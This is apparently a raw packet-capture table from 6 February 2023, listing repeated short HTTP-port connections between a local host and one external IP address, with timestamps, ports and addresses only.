Feb 6, 2023 18:37:07.481256962 CET	49981	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.542426109 CET	80	49981	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.542464018 CET	80	49980	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.542637110 CET	49980	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.543128014 CET	49981	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.544608116 CET	49981	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.610141039 CET	80	49981	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.616162062 CET	80	49981	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.616399050 CET	49981	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.727574110 CET	49981	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.728605032 CET	49982	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.789391041 CET	80	49981	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.789479017 CET	80	49982	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.789545059 CET	49981	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.789594889 CET	49982	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.790106058 CET	49982	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.850824118 CET	80	49982	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.854876995 CET	80	49982	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:07.855129957 CET	49982	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.962229013 CET	49982	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:07.963196993 CET	49983	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.023845911 CET	80	49982	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.023931026 CET	49982	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.026124954 CET	80	49983	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.026346922 CET	49983	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.027985096 CET	49983	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.089687109 CET	80	49983	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.095154047 CET	80	49983	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.095248938 CET	49983	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.211463928 CET	49983	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.212111950 CET	49984	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.272627115 CET	80	49984	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.272800922 CET	49984	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.273171902 CET	80	49983	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.273288965 CET	49983	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.277098894 CET	49984	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.338038921 CET	80	49984	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.341062069 CET	80	49984	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.341171980 CET	49984	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.446517944 CET	49984	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.447484016 CET	49985	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.507261038 CET	80	49984	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.508053064 CET	80	49985	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.508188963 CET	49984	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.508256912 CET	49985	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.510191917 CET	49985	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.570894957 CET	80	49985	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.573493004 CET	80	49985	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.574280977 CET	49985	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.683434010 CET	49985	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.684413910 CET	49986	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.744292974 CET	80	49985	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.745979071 CET	80	49986	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.746128082 CET	49985	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.746190071 CET	49986	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.750838995 CET	49986	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.812372923 CET	80	49986	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.815830946 CET	80	49986	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.815974951 CET	49986	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.930799007 CET	49986	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.932188034 CET	49987	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.992158890 CET	80	49987	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.993230104 CET	80	49986	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:08.993484020 CET	49986	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.994235992 CET	49987	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:08.994235992 CET	49987	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.053930044 CET	80	49987	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.058456898 CET	80	49987	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.062359095 CET	49987	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.165041924 CET	49987	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.166034937 CET	49988	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.224767923 CET	80	49987	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.224839926 CET	49987	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.226466894 CET	80	49988	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.229902983 CET	49988	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.232773066 CET	49988	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.296122074 CET	80	49988	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.298605919 CET	80	49988	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.298763037 CET	49988	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.414607048 CET	49988	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.415548086 CET	49989	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.475521088 CET	80	49989	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.475569963 CET	80	49988	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.475850105 CET	49988	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.476583958 CET	49989	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.476583958 CET	49989	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.535998106 CET	80	49989	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.540498972 CET	80	49989	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.540697098 CET	49989	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.649307966 CET	49989	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.650015116 CET	49990	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.709337950 CET	80	49989	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.709507942 CET	49989	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.710659981 CET	80	49990	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.710794926 CET	49990	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.711791992 CET	49990	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.772330046 CET	80	49990	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.775254011 CET	80	49990	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.775434017 CET	49990	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.884053946 CET	49990	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.884901047 CET	49991	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.944751978 CET	80	49990	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.944962025 CET	49990	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.945415974 CET	80	49991	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:09.945591927 CET	49991	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:09.959911108 CET	49991	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.020740032 CET	80	49991	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.023943901 CET	80	49991	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.024168015 CET	49991	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.135288954 CET	49991	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.136998892 CET	49992	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.197254896 CET	80	49991	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.197479010 CET	49991	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.199475050 CET	80	49992	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.199623108 CET	49992	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.200128078 CET	49992	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.262468100 CET	80	49992	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.267174006 CET	80	49992	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.267307043 CET	49992	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.384021044 CET	49992	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.385104895 CET	49993	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.445620060 CET	80	49993	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.445792913 CET	49993	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.446600914 CET	80	49992	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.446696997 CET	49992	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.446984053 CET	49993	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.507184029 CET	80	49993	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.509741068 CET	80	49993	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.509862900 CET	49993	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.622508049 CET	49993	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.623506069 CET	49994	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.683267117 CET	80	49993	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.683631897 CET	49993	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.683881998 CET	80	49994	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.684173107 CET	49994	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.684632063 CET	49994	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:10.745557070 CET	80	49994	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.749183893 CET	80	49994	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:10.749325991 CET	49994	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.114584923 CET	49994	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.115658998 CET	49995	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.176733017 CET	80	49994	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.176891088 CET	49994	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.178293943 CET	80	49995	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.178438902 CET	49995	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.226044893 CET	49995	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.288414001 CET	80	49995	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.294483900 CET	80	49995	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.294655085 CET	49995	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.486888885 CET	49995	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.487778902 CET	49996	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.548434973 CET	80	49996	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.548639059 CET	49996	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.550208092 CET	80	49995	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.550339937 CET	49995	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.560688972 CET	49996	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.623018980 CET	80	49996	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.626969099 CET	80	49996	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.627171040 CET	49996	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.844527006 CET	49996	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.845428944 CET	49997	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.905795097 CET	80	49996	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.906002045 CET	49996	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:11.908441067 CET	80	49997	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:11.908638954 CET	49997	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.438412905 CET	49997	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.501163006 CET	80	49997	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:12.506864071 CET	80	49997	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:12.506951094 CET	49997	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.737298012 CET	49997	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.738432884 CET	49998	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.798842907 CET	80	49998	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:12.799065113 CET	49998	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.799191952 CET	80	49997	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:12.799263000 CET	49997	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.834460020 CET	49998	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:12.894920111 CET	80	49998	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:12.898948908 CET	80	49998	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:12.899107933 CET	49998	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:13.069749117 CET	49998	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:13.132626057 CET	80	49998	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:13.132819891 CET	49998	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:13.543839931 CET	49999	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:13.604511023 CET	80	49999	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:13.604655027 CET	49999	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.145160913 CET	49999	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.205734968 CET	80	49999	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.210385084 CET	80	49999	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.210573912 CET	49999	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.385056019 CET	49999	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.385976076 CET	50000	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.445702076 CET	80	49999	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.447276115 CET	80	50000	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.459146976 CET	49999	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.459227085 CET	50000	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.484343052 CET	50000	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.546982050 CET	80	50000	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.549825907 CET	80	50000	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.551482916 CET	50000	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.670224905 CET	50000	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.671144009 CET	50001	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.732434034 CET	80	50000	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.732568026 CET	50000	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.733092070 CET	80	50001	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.735238075 CET	50001	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.735616922 CET	50001	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.797180891 CET	80	50001	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.800014973 CET	80	50001	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.800178051 CET	50001	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.908881903 CET	50001	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.910125017 CET	50002	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.969757080 CET	80	50002	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.970752001 CET	80	50001	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:14.984153986 CET	50001	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.984196901 CET	50002	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:14.985690117 CET	50002	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.045300961 CET	80	50002	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.052015066 CET	80	50002	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.068286896 CET	50002	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.187464952 CET	50002	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.188321114 CET	50003	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.247174978 CET	80	50002	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.247328997 CET	50002	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.250044107 CET	80	50003	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.250206947 CET	50003	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.250782967 CET	50003	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.312701941 CET	80	50003	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.315639019 CET	80	50003	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.315736055 CET	50003	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.425061941 CET	50003	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.425860882 CET	50004	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.486998081 CET	80	50003	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.488224030 CET	80	50004	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.493855953 CET	50003	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.493923903 CET	50004	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.494599104 CET	50004	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.556859016 CET	80	50004	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.559858084 CET	80	50004	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.560718060 CET	50004	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.667030096 CET	50004	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.667886019 CET	50005	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.729523897 CET	80	50004	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.730592012 CET	80	50005	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.730782032 CET	50004	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.730860949 CET	50005	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.731218100 CET	50005	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.793720007 CET	80	50005	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.797847986 CET	80	50005	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.798229933 CET	50005	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.912391901 CET	50005	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.912965059 CET	50006	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.974381924 CET	80	50006	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.975198030 CET	80	50005	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:15.978327036 CET	50005	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.978817940 CET	50006	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:15.979490995 CET	50006	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.041796923 CET	80	50006	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.047143936 CET	80	50006	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.047342062 CET	50006	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.197699070 CET	50006	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.198489904 CET	50007	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.259092093 CET	80	50007	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.259124041 CET	80	50006	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.259268999 CET	50006	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.259290934 CET	50007	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.259881020 CET	50007	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.322165966 CET	80	50007	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.324100971 CET	80	50007	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.324282885 CET	50007	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.447805882 CET	50007	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.448786020 CET	50008	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.508681059 CET	80	50007	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.508944988 CET	80	50008	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.509459972 CET	50007	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.509533882 CET	50008	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.510742903 CET	50008	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.571027994 CET	80	50008	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.574184895 CET	80	50008	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.574343920 CET	50008	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.688803911 CET	50008	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.691613913 CET	50009	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.749522924 CET	80	50008	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.749747992 CET	50008	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.753933907 CET	80	50009	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.754159927 CET	50009	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.756198883 CET	50009	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.818555117 CET	80	50009	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.821732044 CET	80	50009	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:16.821940899 CET	50009	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.925354004 CET	50009	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:16.926044941 CET	50010	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.029442072 CET	80	50010	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.029954910 CET	80	50009	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.037178040 CET	50009	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.037591934 CET	50010	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.037592888 CET	50010	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.099288940 CET	80	50010	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.105997086 CET	80	50010	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.106161118 CET	50010	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.220160007 CET	50010	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.221628904 CET	50011	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.282154083 CET	80	50010	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.284367085 CET	80	50011	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.284389973 CET	50010	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.284518957 CET	50011	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.285007000 CET	50011	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.347810984 CET	80	50011	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.352391958 CET	80	50011	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.352585077 CET	50011	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.471601963 CET	50011	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.472548962 CET	50012	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.534495115 CET	80	50011	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.534638882 CET	50011	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.534874916 CET	80	50012	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.534979105 CET	50012	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.535419941 CET	50012	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.598398924 CET	80	50012	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.602504969 CET	80	50012	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.609885931 CET	50012	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.726608038 CET	50012	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.727391958 CET	50013	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.788938046 CET	80	50013	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.789203882 CET	80	50012	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.791445971 CET	50012	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.791987896 CET	50013	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.791987896 CET	50013	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.853600025 CET	80	50013	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.858150005 CET	80	50013	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:17.858725071 CET	50013	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.967772007 CET	50013	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:17.969338894 CET	50014	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.029572964 CET	80	50013	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.029695034 CET	80	50014	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.030134916 CET	50013	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.030170918 CET	50014	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.030709982 CET	50014	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.092593908 CET	80	50014	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.095983982 CET	80	50014	62.204.41.4	192.168.2.7
Feb 6, 2023 18:37:18.101702929 CET	50014	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:37:18.217704058 CET	50014	80	192.168.2.7	62.204.41.4
